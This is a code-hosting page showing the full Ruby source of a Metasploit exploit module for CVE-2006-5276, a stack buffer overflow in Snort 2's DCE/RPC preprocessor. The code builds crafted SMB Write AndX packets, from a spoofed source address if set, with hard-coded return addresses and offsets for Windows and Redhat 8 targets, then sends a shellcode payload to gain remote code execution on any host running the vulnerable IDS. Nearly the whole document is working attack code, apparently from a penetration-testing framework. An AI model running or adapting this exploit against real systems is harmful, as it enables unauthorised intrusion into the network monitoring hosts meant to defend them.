Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/ids/snort_dce_rpc.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Capture9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(update_info(info,13'Name' => 'Snort 2 DCE/RPC Preprocessor Buffer Overflow',14'Description' => %q{15This module allows remote attackers to execute arbitrary code by exploiting the16Snort service via crafted SMB traffic. The vulnerability is due to a boundary17error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,18which may result a stack-based buffer overflow with a specially crafted packet19sent on a network that is monitored by Snort.2021Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.2223Any host on the Snort network may be used as the remote host. The remote host does not24need to be running the SMB service for the exploit to be successful.25},26'Author' =>27[28'Neel Mehta', #Original discovery (IBM X-Force)29'Trirat Puttaraksa', #POC30'Carsten Maartmann-Moe <carsten[at]carmaa.com>', #Metasploit win31'0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux32],33'License' => MSF_LICENSE,34'References' =>35[36[ 'OSVDB', '32094' ],37[ 'CVE', '2006-5276' ],38[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],39[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],40[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']41],42'DefaultOptions' =>43{44'EXITFUNC' => 'thread',45},46'Payload' =>47{48'Space' => 390,49'BadChars' => "\x00",50'DisableNops' => true,51},52'Platform' => %w{ win linux },53'Targets' =>54[55[56'Windows Universal',57{58'Platform' => 'win',59'Ret' => 0x00407c01, # JMP ESP snort.exe60'Offset' => 289, # The number of bytes before overwrite61'Padding' => 062}63],64[65'Redhat 8',66{67'Platform' => 'linux',68'Ret' => 0xbffff110,69'Offset' => 317,70'Padding' => 2871}72]73],74'Privileged' => true,75'DisclosureDate' => '2007-02-19',76'DefaultTarget' => 0))7778register_options(79[80Opt::RPORT(139),81OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),82OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])83])8485deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')86end8788def exploit89open_pcap9091shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)9293p = buildpacket(shost, rhost, rport.to_i)9495print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")9697return unless capture_sendto(p, rhost)9899handler100end101102def buildpacket(shost, rhost, rport)103p = PacketFu::TCPPacket.new104p.ip_saddr = shost105p.ip_daddr = rhost106p.tcp_dport = rport107p.tcp_flags.psh = 1108p.tcp_flags.ack = 1109110# SMB packet borrowed from https://www.exploit-db.com/exploits/3362111112# NetBIOS Session Service, value is the number of bytes in the TCP segment,113# must be greater than the total size of the payload. Statically set.114header = "\x00\x00\xde\xad"115116# SMB Header117header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"118header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"119header << "\x00\x08\x30\x00"120121# Tree Connect AndX Request122header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"123header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"124header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"125header << "\x3f\x3f\x3f\x3f\x3f\x00"126127# NT Create AndX Request128header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"129header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"130header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"131header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"132header << "\x63\x00\x00\x00"133134# Write AndX Request #1135header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"136header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"137header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"138header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"139header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"140header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"141header << "\x2b\x10\x48\x60\x02\x00\x00\x00"142143# Write AndX Request #2144header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"145header << "\x00\x48\x00\x00\x00\xff\x01"146tail = "\x00\x00\x00\x00\x49\x00\xee"147148# Return address149eip = [target['Ret']].pack('V')150151# Sploit152sploit = make_nops(10)153sploit << payload.encoded154155# Padding (to pass size check)156sploit << make_nops(1)157158# The size to be included in Write AndX Request #2, including sploit payload159requestsize = [(sploit.size() + target['Offset'])].pack('v')160161# Assemble the parts into one package162p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit163164p.recalc165166p167end168end169170171